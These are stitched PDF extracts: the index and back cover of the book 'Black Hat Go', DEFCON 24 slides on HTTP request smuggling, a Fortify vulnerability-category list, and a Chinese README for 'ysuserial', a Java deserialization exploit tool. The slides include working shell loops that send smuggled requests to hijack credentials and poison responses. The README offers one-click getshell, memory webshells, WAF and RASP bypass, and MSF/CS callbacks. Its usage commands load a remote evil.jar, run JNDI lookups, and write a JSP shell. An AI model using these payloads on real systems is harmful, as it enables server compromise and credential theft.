os/execpackage,41 P packages,2,8–9 packetcapturingandfiltering,175–180 panic()function,107,112 parseTags()function,140–142 passivereconnaissance,51,59 pass-the-hashauthentication,147–150 passwords,146–151,222–224 PATCHrequests,47 payloads,101,302–307 pcap,175 PDFfiles,69 PE(PortableExecutable)format,279–289 PipeReader,43 PipeWriter,43 PKCS(PublicKeyCryptographyStandards),242.Seealso public-keycryptography pkgdirectory,2–3 placeholders,83,89 Plan9operatingsystem,216 plug-ins Lua,225–232 native,218–224 pluginpackage,219 PNGformat,296–307 pointers,12 PortableExecutable(PE)format,279–289 PortableNetworkGraphics(PNG)images,296–307 ports availability,24–25 handshakeprocess,22 portforwarding,23,39–40 portscanners,180–185,222–224 scanning,23–32.Seealsoscanners Post()function,46–47 PostForm()function,47 Postgresdatabases,156–157,160–161 PostgreSQLdatabases,156–157,160–161 PreProcessImage()function,298 primitivedatatypes,10–11 process()function,72–73 ProcessHacker,278 processinjection,268–269 ProcessMonitor,278 ProcessImage()method,302–303 procselfmem()function,205 projectstructure,52–53,60 promiscvariable,177 ProtocolBuffers(Protobuf),316 PsExec,131 public-keycryptography,242,245.Seealsoencryption PUTrequests,47–48 Python,197–201 Q queryparameters,73–76 R raceconditionfunctions,206 Rapid7,60 RATs(remoteaccessTrojans),315–329 rawtransform,215 RC2,252–261 ReadString()function,38 reconnaissance,51,59 redirectors,98 referentialfields,138–139 reflectpackage,139 reflection,132,139 regularexpression(regex)values,163 remoteaccessTrojans(RATs),315–329 remoteprocedurecalls(RPCs),59,64–67,316 request/responsecycles,46,62–64 responsehandling,48–51 Rivest,Ron,252 RLock,129 Roundcube,90 routers,79–80,84–85 rstpackets,22 S salts,234 scannerpackage,220,223 scanners,23–32,180–185,217,222–224.Seealsoports schema-lessdatabases,154 scrapingmetadata,68–76 Search()function,163 searchquerytemplates,73–76 SectionTable,287–289 securitytokens,133–134 send()method,65 serveFile()function,97 ServerMessageBlock(SMB),132–147 servermultiplexers,78–79 ServerMux,78–79 SessionList()method,66,68 setcommand,3 SHA-256hashes,236–237 shellcode,203–204,213–216 Shodan,51–59 signaturevalidation,245–248 sitefilter,73 slices,11,106,126,144–145 SQLinjectionfuzzing,192–196 SQLitedatabases,328 srcdirectory,3 statelessprotocols,46 staticfiles,93 Statusstruct,50–51 steganography overview,295 PNGformat,296–307 XOR,307–312 strconvpackage,25 strlen()function,17 strToInt()method,304 structs APIInfostruct,55 Clientstruct,53–54 encoding,135 Foostruct,19 handling,142–143 Msgstruct,106–107 Statusstruct,50–51 typesof,12–13,19,133–135 structureddata,18–19,50–51 Stub,281 subdirectories,2–3 subdomains,107–117 switchstatements,14,129,143 switchednetworks,178 symmetricalgorithms,234 symmetric-keyencryption,242–245.Seealsoencryption SYNcookies,180–185 synpackets,22 syn-acks,22 SYN-floodprotections,180–185 syscallpackage,197,266–269 Syscall6()function,210 T tabwriterpackage,113–114 Targetbreach,154 TCPflags,180–181 tcpdump,102,105,175–178 TCP/IPGuide(Kozierok),22 teamservers,121 Telegram,280 Telnet,41 templates,88–90 Tenable,217 third-partypackages,8–9 tokens,61–63,271 “toofast”scanner,26–27 TourofGotutorial,10 TransmissionControlProtocol(TCP) handshakeprocess,22–23 portscanners,23–32 proxies,32–44 U UbuntuVM,118–120 uint16datatypes,143–144 uintptrtype,266 unicodepackage,197 unmarshal()function,141–142 Unmarshal()method,19 unmarshalinginterfaces,136 unsafepackage,197 unsafe.Pointertype,266–267 USERproperty,190 utilityprograms,67–68 V {{variable-name}}convention,89 verbs,47 Vimtexteditor,3–4 vim-goplug-in,3 virtualmachines(VMs),118–120 virtualmemory,273–274 VirtualAllocEx,273–274 VirtualFreeEx()Windowsfunction,277–278 VMWareWorkstation,118–120 VSCode,5 vulnerabilityfuzzers,188–196 W WaitforSingleObject()Windowsfunction,276–277 waitForWrite()function,206 WaitGroup,27–28 walkFn()function,171 WebSocketAPI(WebSockets),93–98 whileloops,15 WindowsAPIs,263–265 WindowsDLL,218–219 WindowsVM,127 winmodsfiles,270 WINNT.Hheader,285–286 Wireshark,102,225 workerfunctions,28–30,111–112 wrapperfunctions,136–137 WriteData()function,305–307,311 WriteProcessMemory()function,274–275 writer.Flush()function,38 WriteString()function,38 X XML,19–20,69 XOR,307–312 BlackHatGoissetinNewBaskerville,Futura,Dogma,and TheSansMonoCondensed. UPDATES Visithttps://nostarch.com/blackhatgo/forupdates,errata, andotherinformation. Moreno-nonsensebooksfrom NOSTARCH PRESS REAL-WORLDBUGHUNTING AFieldGuidetoWebHacking byPETERYAWORSKI JULY2019,264PP.,$39.95 ISBN978-1-59327-861-8 MALWAREDATASCIENCE AttackDetectionandAttribution byJOSHUASAXE withHILLARYSANDERS SEPTEMBER2018,272PP.,$49.95 ISBN978-1-59327-859-5 LINUXBASICSFORHACKERS GettingStartedwithNetworking,Scripting,and SecurityinKali byOCCUPYTHEWEB DECEMBER2018,248PP.,$34.95 ISBN978-1-59327-855-7 SERIOUSCRYPTOGRAPHY APracticalIntroductiontoModernEncryption byJEAN-PHILIPPEAUMASSON NOVEMBER2017,312PP.,$49.95 ISBN978-1-59327-826-7 GRAYHATC# AHacker’sGuidetoCreatingandAutomating SecurityTools byBRANDONPERRY JUNE2017,304PP.,$39.95 ISBN978-1-59327-759-8 PENTESTINGAZUREAPPLICATIONS TheDefinitiveGuidetoTestingandSecuring Deployments byMATTBURROUGH JULY2018,216PP.,$39.95 ISBN978-1-59327-863-2 PHONE: 1.800.420.7240OR 1.415.863.9900 EMAIL: SALES@NOSTARCH.COM WEB: WWW.NOSTARCH.COM “Everythingnecessarytogetstartedwith Godevelopmentinthesecurityspace” —HDMoore,FounderoftheMetasploit ProjectandtheCriticalResearch Corporation BlackHatGoexploresthedarkersideofGo,thepopular programminglanguagereveredbyhackersforitssimplicity, efficiency,andreliability.Itprovidesanarsenalofpractical tacticsfromtheperspectiveofsecuritypractitionersand hackerstohelpyoutestyoursystems,buildandautomate toolstofityourneeds,andimproveyouroffensivesecurity skillset,allusingthepowerofGo. You’llbeginyourjourneywithabasicoverviewofGo’s syntaxandphilosophyandstarttoexploreexamplesthatyou canleveragefortooldevelopment,includingcommonnetwork protocolslikeHTTP,DNS,andSMB.You’llthendiginto varioustacticsandproblemsthatpenetrationtestersencounter, addressingthingslikedatapilfering,packetsniffing,and exploitdevelopment.You’llcreatedynamic,pluggabletools beforedivingintocryptography,attackingMicrosoft Windows,andimplementingsteganography. You’lllearnhowto: Makeperformanttoolsthatcanbeusedforyourown securityprojects CreateusabletoolsthatinteractwithremoteAPIs ScrapearbitraryHTMLdata UseGo’sstandardpackage,net/http,forbuildingHTTP servers WriteyourownDNSserverandproxy UseDNStunnelingtoestablishaC2channeloutofa restrictivenetwork Createavulnerabilityfuzzertodiscoveranapplication’s securityweaknesses Useplug-insandextensionstofuture-proofproducts BuildanRC2symmetric-keybrute-forcer ImplantdatawithinaPortableNetworkGraphics(PNG) image. Areyoureadytoaddtoyourarsenalofsecuritytools?Then let’sGo! ABOUTTHEAUTHORS TomSteele,ChrisPatten,andDanKottmannshareover30 yearsinpenetrationtestingandoffensivesecurityexperience, andhavedeliveredmultipleGotraininganddevelopment sessions.(Seeinsideformoredetails.) THEFINESTINGEEKENTERTAINMENT™ www.nostarch.com FOOTNOTES CHAPTER2.TCP,SCANNERS,AND PROXIES CHAPTER3.HTTPCLIENTSAND REMOTEINTERACTIONWITH TOOLS CHAPTER5.EXPLOITINGDNS CHAPTER9.WRITINGAND PORTINGEXPLOITCODE CHAPTER11.IMPLEMENTINGAND ATTACKINGCRYPTOGRAPHY 1.ThisisafreeserviceprovidedbyFyodor,thecreatorofNmap,butwhenyou’rescanning,bepolite. Herequests,“Trynottohammerontheservertoohard.Afewscansinadayisfine,butdon’tscan100 timesaday.” 1.Forassistanceandpracticewithexploitation,considerdownloadingandrunningtheMetasploitable virtualimage,whichcontainsseveralexploitableflawsusefulfortrainingpurposes. 1.Goversions1.9andnewercontainaconcurrent-safetype,sync.Map,thatmaybeusedtosimplify yourcode. 1.Formoredetailedinformationaboutthisvulnerability,referto https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your- application-have-in-common-this-vulnerability/#jboss. 1.Someoperatingmodes,suchasGalois/CounterMode(GCM),provideintegrityassurance.
pdf
Hiding Wookiees in HTTP @regilero HTTP smuggling is a thing we should know better and care about. DEFCON 24 Why wookiees? ● It's all about smugglers, wookiee requests and responses ● Wookiee language is a thing – hard to speak – Easy to misinterpret Outline ● The minimum required on HTTP (Keep-alive, pipelining) ● What is HTTP smuggling, exploitations ● Some recent attack vectors ● HTTP 0.9 ● Demos: credential hijacking & cache poisoning without a cache ● A tool : HTTPWookiee whoami ● @regilero (twitter / stack Overflow / Github) ● I work in a small French Free Software web company, Makina Corpus (50p). ● I'm a DevOp (I was a DevOp before the start of this millenium). ● Web Security is a small part of my day job, and spare time. ● If I can do it, others might have done it. Why did I start testing my HTTP tools? ● I really like working with Open Source HTTP servers and proxies ● I found 2 interesting papers: – HTTP Host header real world attacks : http://www.skeletonscribe.net/2013/05/practical-http- host-header-attacks.html – (2005) HTTP smuggling study : http://www.cgisecurity.com/lib/HTTP-Request- Smuggling.pdf HTTP Smuggling: Protocol level Attack ● Injection of hidden HTTP message (request or response) inside another ● These are usually not browser-based exploits ● Crafting low level HTTP messages – By definition, most available tools will NOT generate these bad messages ● Usually, get errors without consequences... ● … but not always Before we start: Keepalives and Pipelines ● 1 TCP/IP connection per resource ● Big perf killer ● By the way (and this is still true), the connection ending is complex So, Keepalive ● The SYN, SYN/ACK, ACK is made only once, connection is kept open ● May be reused for next exchange ● If you do not use HTTP/2, chances are this is what your browser does Pipelines, source of most smuggling issues ● Not really used ● But supported by servers ● Still have to wait if one response is big (Head of line blocking) ● Wonder why HTTP/2 finally used a real binary multiplexing protocol? – Head of line AND SMUGGLING Pipelines and Reverse Proxies ● The proxy may use keep- alive with the backend ● The proxy is quite certainly not using pipelining with the backend ● But the backend is not aware of that... So, smuggling ● Use messages that could be – 1 message (VALID) – a pipeline of n messages (MISTAKE) ● Different actors – Transmitter: ignore/transmit the strange syntax – Splitter: split requests (or responses) on this syntax Payloads: What are the final objectives? ● Simply run a forbidden request (filter bypass) ● Make one actor crash on bad syntax (DOS) ● Use shift in response stream to poison a cached response ● Hijack another user HTTP credentials (HTTP Auth, cookies), using unterminated queries ● … ● All this was already described in 2005 Exploits: it's all about size ● Double Content-Length headers ● Content-Length or chunked transmission with end-of-chunks marker? ● Invalid headers or values: – Content[SPACE]Length: – Content-Length: 90000000000000000000000000000000042 ● Invalid end of lines (EOL) for headers: – [CR][LF] => VALID – [LF] => VALID – [CR] ● Old features (HTTP v0.9, optional multi-line headers syntax, etc.) Demo1: Hijacking credentials: exploits ● Nodejs < 5.6.0 Splitting issue: – [CR]+? == [CR]+[LF] – Hidden header: Transfer-Encoding: chunked – Chunked has priority on Content-Length in RFC (but you could also reject it) ● Second query is unterminated... Demo1: Hijacking credentials ● IF (hard to get): – keep-alive on reverse- proxy to backend connection – Reverse proxy had the 1st response ● Next user, next query, will end the partial query Demo1: Hijacking credentials Demo1: Hijacking credentials Demo1: Hijacking credentials for i in `seq 150` do printf 'GET / HTTP/1.1\r\n'\ 'Host:www.demo.net\r\n'\ 'Connection: keep-alive\r\n'\ 'Dummy: Header\rZTransfer- Encoding: chunked\r\n'\ 'Content-Length: 70\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'POST /user-delete/2 HTTP/1.1\r\n'\ 'Host: www.demo.net\r\n'\ 'Partial: Header' | nc -q 30 127.0.0.1 80 & done Before the Next demo: HTTPv0.9 ● HTTP 0.9 is awful, it should not exist anymore. ● HTTP 0.9 is the first early version of HTTP. ● In this version requests and responses are transmitted without headers ● HTTP v1.1: GET /foo HTTP/1.1\r\n – Host: example.com\r\n – \r\n ● HTTP v1.0: GET /foo HTTP/1.0\r\n \r\n ● HTTP v0.9: GET /foo\r\n ● HTTP 1.1 HTTP/1.1 200 OK\r\n Date: Tue, 23 Feb 2016 16:47:06 GMT\r\n Set-Cookie: foo=bar Last-Modified: Thu, 18 Feb 2016 09:22:26 GMT\r\n Server: nginx\r\n Cache-Control: private, max-age=86400 x-frame-options: SAMEORIGIN content-security-policy: default-src 'none'; base-uri … Vary: Accept-Encoding\r\n Content-Type: text/html\r\n Content-Length: 54\r\n \r\n <html><body>\r\n <p>Hello world</p>\r\n </body></html>\r\n HTTP v0.9 : No Headers ● HTTP 0.9 <html><body>\r\n <p>Hello world</p>\r\n </body></html>\r\n ● Without headers the body is just a text stream. ● Why not injecting HTTP headers in this stream? Before the Next demo: HTTP/0.9 ● Image whose content is HTTP stream: – In 1.0 or 1.1 this is a bad image – In 0.9 mode this is an HTTP message – But this is not a real image... ● Image with EXIF data as HTTP Stream – Extract EXIF with Range request (206 Partial Content) ● Restrictions on HTTP 0.9 attacks: – HTTP/1.0 or HTTP/1.1 forced on backend communications – no keep-alive => Connection: close – No range on 0.9 Before the Next demo: NoCache Poisoning ● Cache poisoning is usually quite complex ● Is there a cache? ● So, NoCache poisoning (or socket buffer poisoning): – A reverse proxy might re-use a tcp/ip connection to WRITE a request, but READ buffer is maybe not empty. – A proxy will usually TRUST the backend communication and not expect extra content. Demo2: NoCache poisoning, 0.9 hidden response We'll use: ● splitting issues present in go before version v1.4.3/1.5 – Transfer Encoding: magically fixed as 'Transfer-Encoding' ● The nocache poisoning of mod_proxy ● An image to store HTTP responses in EXIF data ● HTTP/0.9 bad downgrade (with range support), now fixed ● and SSL/HTTPS (too make it harder) Demo2: NoCache poisoning, 0.9 hidden response Demo2: NoCache poisoning, 0.9 hidden response Demo2: NoCache poisoning, 0.9 hidden response Demo2: NoCache poisoning, 0.9 hidden response for i in `seq 5555`; do printf 'GET /index.html HTTP/1.1\r\n'\ 'Host: www.demo.net\r\n'\ 'Transfer Encoding:chunked\r\n'\ 'Content-Length: 139\r\n'\ 'Connection:keep-alive\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'GET /chewy2.jpg HTTP/0.9\r\n'\ 'Connection: keep-alive\r\n'\ 'Cookie: Something\r\n'\ 'Host:localhost\r\n'\ 'Connection: keep-alive\r\n'\ 'Range: bytes=24-35193\r\n'\ '\r\n'| openssl s_client -connect www.demo.net:443 -quiet -servername www.demo.net \ -no_ign_eof -pause & done; CVE? ● Splitting issues are the real problems. An actor which does not read the right number of messages is a security threat for all other actors. – I think this should always be a CVE – I think it's quite critical – Project leaders does not always agree on that, for various reasons ● Transmission of strange syntax by HTTP agents should be avoided (and are usually fixed without CVE) ● Responsibility is hard to define, this is a chain of responsibilities, worst case for security enforcement Warning ● You will not earn bounties on HTTP Smuggling – I had an unexpected one from Google on golang ● Testing a public infrastructure on protocol level attacks may have unintended consequences on users. You will certainly not be considered like a white hat. This is not reflected XSS. ● Peer eyes: more people should review existing code – be one of them ● Things get better, defense in depth really makes smuggler life harder Exploits? Some examples ● Nginx (fixed in 1.7.x) Integer Overflow (hidden query) this is only 15bytes, and not several Petabytes for Nginx Content-length: 900000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000015 ● Nginx (fixed in trunk 1.11.x) public issue #762 (15month): – HTTP/65536.9 (or 65536.8 for POST) : v0.9 downgrade – Rarely transmitted (fixed in Haproxy in 2015, with also full 0.9 removal) ● CVE-2015-8852 (5.8): Varnish 3.x: [CR] as EOL & Double Content-Length ● Same issue fixed in OpenBSD's http Exploits? Some examples ● Apache httpd CVE-2015-3183 (2.6): chunk size attribute truncation at 31 characters. Fixed in 2.4.14. 0000000000000000000000000000000222[CR][LF] => 564bytes 0000000000000000000000000000000[CR][LF] => 0 (end of chunks) ● And also exploits used in the demos. – Golang: CVE-2015-5739/CVE-2015-5740 (6.8): Double Content-Length support + magically fixing invalid headers (replace space by -). fixed in 1.4.3 and 1.5 – Apache httpd public issue on nocache poisoning (improvements currently on test) – Nodejs CVE-2016-2086 (4.3): Double Content-Length, CR assumed as followed by LF (fixed in v0.10.42 v0.12.10 v4.3.0 v5.6.0) ● And from others: CVE-2016-5699 python urllib (urlencoded crlf injection), CVE-2016-2216 nodejs response splitting (unicode crlf injection), etc. Protections ● Use RFC 7230 (2014) not RFC 2616 (1999) ● Avoid writing your own Reverse Proxy ● Anyway, in case of: – Rewrite all headers in a very clean way (no copy/paste), – Prepare yourself to read books on tcp/ip sockets – Read the RFC, really (proxy is not the easiest part) – support browsers, not bots or lazy monitoring tools – Reject edge cases, be intolerant Protections ● «In general, an implementation should be conservative in its sending behavior, and liberal in its receiving behavior.» ^^^^^^^ robust – https://tools.ietf.org/html/draft-thomson-postel-was-wrong-00 ● Administrators should have access to more settings – Suspend pipelining whithout removing keep-alive – Reject 0.9 queries Protections ● You can, of course, suspend Keep-alive and go back to HTTP/1.0 era... ● Adding a reverse proxy to protect a weak application or HTTP implementation is not always a good idea: – Splitting actors will allow attacks on the proxy – A Reverse Proxy TRUSTS the backend, that's not the way we think it, but that's the way it works. Response stream is the weakest ● Use strict agents, like Haproxy, it cannot block everything (hidden queries are hidden), but it will bock a lot of attacks ● Nginx is also a quite clean transmitter, used as a reverse proxy ● The next mod_proxy (Apache 2.5) will rocks (StrictProtocol) Is HTTPS a protection? ● No. ● Why should it be? It enclosed HTTP in another layer, but the attacked layer is still HTTP ● Adding an SSL terminator? Great, now you have another Reverse proxy, expanding attack surface Still: ● => HTTPS is great ● => Full-chain in HTTPS is certainly preventing bad routing of messages Is HTTP/2 a protection? ● Smuggling is certainly harder on HTTP/2 but: – HTTP/1.1 is still there, inside, HTTP/2 is a new transport layer – An HTTP/2 server will always accept an HTTP/1.1 conversation – Are you sure your HTTP/2 server is not also accepting HTTP 0.9? – The devil is not on the protocol, it's on the implementations (same thing for HTTP/1.1) HTTPWookiee : The tool ● I do not have much time ● I cannot remember all tests ● I cannot test all HTTP agents ● Testing Transmission of message by Proxies means controlling the client and the backend ● So I automated some of theses tests in a python tool ● I will release theses tests in a GPL free software tool, on Github, but my priority is security enforcement, not breaking stuff, so you may not have the tests available. Q&A ● Thanks to all people helping me for this presentation: – DEFCON team – Colleagues – ...
pdf
源代码安全测试云平台服务商 Secure Your Code Trust Your Software www.haodahengye.com.cn 18910080395 Fortify SCA 支持 Android 源码安全漏洞检测类别 1. Access Control: Android Provider 2. Access Control: Database 3. Android Bad Practices: Missing Broadcaster Permission 4. Android Bad Practices: Missing Receiver Permission 5. Android Bad Practices: Sticky Broadcast 6. Cross Site Scripting: Persistent 7. Cross Site Scripting: Poor Validation 8. Cross Site Scripting: Reflected 9. Header Manipulation: Cookies 10. Insecure Storage: Android External Storage 11. Log Forging 12. Password Management 13. Password Management: Empty Password 14. Password Management: Hardcoded Password 15. Password Management: Null Password 16. Password Management: Weak Cryptography 17. Path Manipulation 18. Privacy Violation 19. Privilege Management: Android Location 20. Privilege Management: Android Messaging 21. Privilege Management: Android Telephony 22. Privilege Management: Missing API Permission 23. Privilege Management: Missing Intent Permission 24. Query String Injection: Android Provider 25. Resource Injection 26. SQL Injection 27. System Information Leak 源代码安全测试云平台服务商 Secure Your Code Trust Your Software www.haodahengye.com.cn 18910080395 HP Fortify SCA 支持 iPhone 源码安全漏洞检测类别 1. Access Control: Database 2. Code Correctness: Regular Expressions Denial of Service 3. Format String 4. Key Management: Hardcoded Encryption Key 5. Log Forging 6. Memory Leak 7. Often Misused: Encoding 8. Often Misused: File System 9. Often Misused: SMS 10. Often Misused: Weak SSL Certificate 11. Password Management: Empty Password 12. Password Management: Hardcoded Password 13. Password Management: Null Password 14. Path Manipulation 15. Privacy Violation 16. Privacy Violation: Keyboard Caching 17. Privacy Violation: Screen Caching 18. Resource Injection 19. SQL Injection 20. Unreleased Resource: Streams 21. Unsafe Mobile Code: Insecure Transport 22. Unsafe Reflection 23. Weak Cryptographic Hash 24. Weak Encryption 25. Weak Encryption: Insufficient Key Size
pdf
[ ysuserial ] 某⾏动在即,为助⼒在⼀线防守的伙伴,特发此⾃⽤项⽬,帮助伙伴们更⾼效、更快速的针对 Java 反序列化漏洞进⾏⾃检及安全修复。 本项⽬为 ysoserial [su18] 专版,取名为 ysuserial ,在原项⽬ ysoserial 基础上魔改⽽来,主要有以下新添加功能: 1. 基础链版本的覆盖:原版反序列化链可能仅限于某⼏个版本,本项⽬添加了如 CB/C3P0 等链的低版本,可⼀键 getshell 的版本 覆盖更⼴; 2. 利⽤链的扩充和丰富:在原版基础上添加了多条利⽤链,扩展利⽤⽅式,更够在依赖不确定、利⽤⽅式有限制的情况扩展更多的攻击 路径; 3. 利⽤⽅式的填充:原版的利⽤链的利⽤⽅式仅使⽤了 Runtime 执⾏系统命令,本项⽬添加了多种利⽤⽅式,并⽀持执⾏⾃定义任意 代码; 4. 利⽤链探测:本项⽬在 URLDNS 中添加了利⽤链的探测,在攻击中不再盲⽬乱打,先通过 DNSLOG 检测类名,再执⾏攻击; 5. 内存⻢:本项⽬在利⽤时,对于部分链⽀持了⼀键打⼊ Spring/Tomcat 内存⻢功能,内存⻢⽀持命令执⾏、冰蝎、哥斯拉三种利⽤ ⽅式;并⽀持 Tomcat 回显命令执⾏、Neoreg 流量隧道内存⻢; 6. 防御绕过:在部分系统中使⽤了 WAF/RASP 等防御模式,本项⽬去除⼤多数原版特征,并在执⾏恶意动作时使⽤了多种能够绕过 RASP 的执⾏⽅式,绕过防护; 7. MSF/CS 上线:配合远程 Jar 包⼀键上线 MSF/CS 的功能,集成⼀体,快⼈⼀步。 项⽬⽀持利⽤链展示: $ java -jar ysuserial-0.1-su18-all.jar           _.-^^""#....,,"$       _"$                 "$_     <                       >)     |       Y Su Serial ?     |       \._                   _./         ```"$. . , ; ."$'''               | |   |             .-="& | "'-.             `-=#$%&%$"(-'               | ; :|       _____.,-#%&$@%#&#~,._____     _____.,[ 暖⻛熏得游⼈醉 ],._____     _____.,[ 只把杭州作汴州 ],._____ [root")~ A Mind-Blowing Tool Collected By [ su18@javaweb.org ] [root")~ Shout Out to Yzmm / Shxjia / Y4er / N1nty / C0ny1 / Phith0n / Kezibei [root")~ AND OF COURSE TO THE All MIGHTY @frohoff [root")~ Usage: java -jar ysuserial-0.1-su18-all.jar [payload] '[command]' [root")~ Available payload types: Jun 19, 2022 11:54:53 PM org.reflections.Reflections scan INFO: Reflections took 195 ms to scan 1 urls, producing 26 keys and 230 values     Payload                 Authors                               Dependencies     -------                 -------                               ------------     AspectJWeaver           @Jang                                 aspectjweaver:1.9.2, commons- collections:3.2.2     BeanShell1               @pwntester, @cschneider4711           bsh:2.0b5     C3P0                     @mbechler                             c3p0:0.9.5.2, mchange-commons- java:0.2.11     C3P092                   @mbechler                             c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11     Click1                   @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0     Clojure                 @JackOfMostTrades                     clojure:1.8.0     CommonsBeanutils1       @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2     CommonsBeanutils1183NOCC                                       commons-beanutils:1.8.3     CommonsBeanutils2                                               commons-beanutils:1.9.2     CommonsBeanutils2NOCC                                           commons-beanutils:1.8.3, commons-logging:1.2     CommonsBeanutils3                                               commons-beanutils:1.9.2, commons-collections:3.1     CommonsBeanutils3183                                           commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2     CommonsCollections1     @frohoff                               commons-collections:3.1     CommonsCollections2     @frohoff                               commons-collections4:4.0     CommonsCollections3     @frohoff                               commons-collections:3.1     CommonsCollections4     @frohoff                               commons-collections4:4.0     CommonsCollections5     @matthias_kaiser, @jasinner           commons-collections:3.1     CommonsCollections6     @matthias_kaiser                       commons-collections:3.1     CommonsCollections6Lite @matthias_kaiser                       commons-collections:3.1     CommonsCollections7     @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1     CommonsCollections8     @navalorenzo                           commons-collections4:4.0     CommonsCollections9                                             commons-collections:3.2.1     FileUpload1             @mbechler                             commons-fileupload:1.3.1, commons-io:2.4     Groovy1                 @frohoff                               groovy:2.3.9     Hibernate1               @mbechler     Hibernate2               @mbechler     JBossInterceptors1       @matthias_kaiser                       javassist:3.12.1.GA, jboss- interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor- spi:2.0.0.Final, slf4j-api:1.7.21     JRE8u20                 @frohoff     JRMPClient               @mbechler     JRMPClient_Activator     @mbechler     JRMPClient_Obj           @mbechler     JRMPListener             @mbechler     JSON1                   @mbechler                             json-lib:jar:jdk15:2.4, spring- aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons- beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1     JavassistWeld1           @matthias_kaiser                       javassist:3.12.1.GA, weld- core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21     Jdk7u21                 @frohoff     Jython1                 @pwntester, @cschneider4711           jython-standalone:2.5.2     MozillaRhino1           @matthias_kaiser                       js:1.7R2     MozillaRhino2           "*tint0                               js:1.7R2     Myfaces1                 @mbechler     Myfaces2                 @mbechler     ROME                     @mbechler                             rome:1.0     Spring1                 @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE     Spring2                 @mbechler                             spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2     Spring3                                                         spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2     URLDNS                   @gebl     Vaadin1                 @kai_ullrich                           vaadin-server:7.7.14, vaadin- shared:7.7.14     Wicket1                 @jacob-baines                         wicket-util:6.23.0, slf4j- api:1.6.4 利⽤⽅式 在原版的利⽤⽅式中,对于使⽤ TemplatesImpl 的利⽤⽅式,仅使⽤了单⼀的 java.lang.Runtime.getRuntime().exec() 执⾏任意命令;对于使⽤ ChainedTransformer 的利⽤⽅式,也是仅 chain 了⼀个 Runtime exec,再漏洞利⽤上过于局限且单 ⼀,因此本项⽬在原版项⽬基础上扩展了不同的利⽤⽅式以供在实战环境中根据情况选择。 针对 ChainedTransformer 对于本项⽬中的 CommonsCollections1、CommonsCollections5、CommonsCollections6、CommonsCollections6Lite、 CommonsCollections7、CommonsCollections9,均为使⽤了 ChainedTransformer 进⾏链式反射调⽤的利⽤⽅式,针对 CC 3.1-3.2.1 的依赖。 本项⽬为其拓展了除了 Runtime 执⾏命令意外的多种利⽤⽅式,具体如下: TS :Thread Sleep - 通过 Thread.sleep() 的⽅式来检查是否存在反序列化漏洞,使⽤命令: TS-10 RC :Remote Call - 通过 URLClassLoader.loadClass() 来调⽤远程恶意类并初始化,使⽤命令: RC- http:"+xxxx.com/evil.jar#EvilClass WF :Write File - 通过 FileOutputStream.write() 来写⼊⽂件,使⽤命令: WF-/tmp/shell#d2hvYW1p PB :ProcessBuilder 通过 ProcessBuilder.start() 来执⾏系统命令,使⽤命令 PB-lin-d2hvYW1p / PB-win- d2hvYW1p 分别在不同操作系统执⾏命令 SE :ScriptEngine - 通过 ScriptEngineManager.getEngineByName('js').eval() 来解析 JS 代码调⽤ Runtime 执⾏命令,使⽤命令 SE-d2hvYW1 DL :DNS LOG - 通过 InetAddress.getAllByName() 来触发 DNS 解析,使⽤命令 DL-xxxdnslog.cn HL :HTTP LOG - 通过 URL.getContent() 来触发 HTTP LOG,使⽤命令 HL-http:"+xxx.com BC :BCEL Classloader - 通过 ",bcel""-ClassLoader.loadClass().newInstance() 来加载 BCEL 类字节码,使⽤ 命令 BC-$BCEL$xxx JD :JNDI Lookup - 通过 InitialContext.lookup() 来触发 JNDI 注⼊,使⽤命令 JD-ldap:"+xxx/xx 其他:普通命令执⾏ - 通过 Runtime.getRuntime().exec() 执⾏系统命令,使⽤命令 whoami ⽬前只针对 CC 3.1-3.2.1 使⽤了 ChainedTransformer,对于 CC 4.0 还是使⽤了 TemplatesImpl 的传统利⽤⽅式。 这⾥需要注意的是,使⽤ PB 执⾏系统命令、WF 写⼊⽂件的内容、SE 执⾏命令时,为了防⽌传参错误,需要对传⼊的命令使⽤ base64 编码。 命令执⾏示例: 效果图: java -jar ysuserial-0.1-su18-all.jar CommonsCollections1 PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA". DNSLOG示例: 效果图: 脚本引擎解析 JS 代码示例: java -jar ysuserial-0.1-su18-all.jar CommonsCollections1 'DL-xxx.org' java -jar ysuserial-0.1-su18-all.jar CommonsCollections1 'SE-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA".' 效果图: ⽂件写⼊示例: 效果图: java -jar ysuserial-0.1-su18-all.jar CommonsCollections1 'WF-/tmp/1.jsp#PCVAcGFnZSBwYWdlR.....' 触发 JNDI 查询注⼊示例: 效果图: java -jar ysuserial-0.1-su18-all.jar CommonsCollections1 'JD- ldap:"+127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA".' 普通命令执⾏示例: 效果图: 针对 TemplatesImpl 针对本项⽬中的 Click1、CommonsBeanutils1、CommonsBeanutils2、CommonsBeanutils1183NOCC、 CommonsBeanutils2183NOCC、CommonsCollections2、CommonsCollections3、CommonsCollections4、 CommonsCollections8、Hibernate1、JavassistWeld1、JBossInterceptors1、Jdk7u21、JRE8u20、JSON1、 MozillaRhino1、MozillaRhino2、ROME、Spring1、Spring2、Vaadin1,均为使⽤ TemplatesImpl 加载恶意的类字节码的利⽤ ⽅式,原版仅使⽤了 Runtime 的命令执⾏⽅式,这⾥对其进⾏深度的扩展,并植⼊了多种内存⻢的功能。 扩展攻击-内存⻢及回显 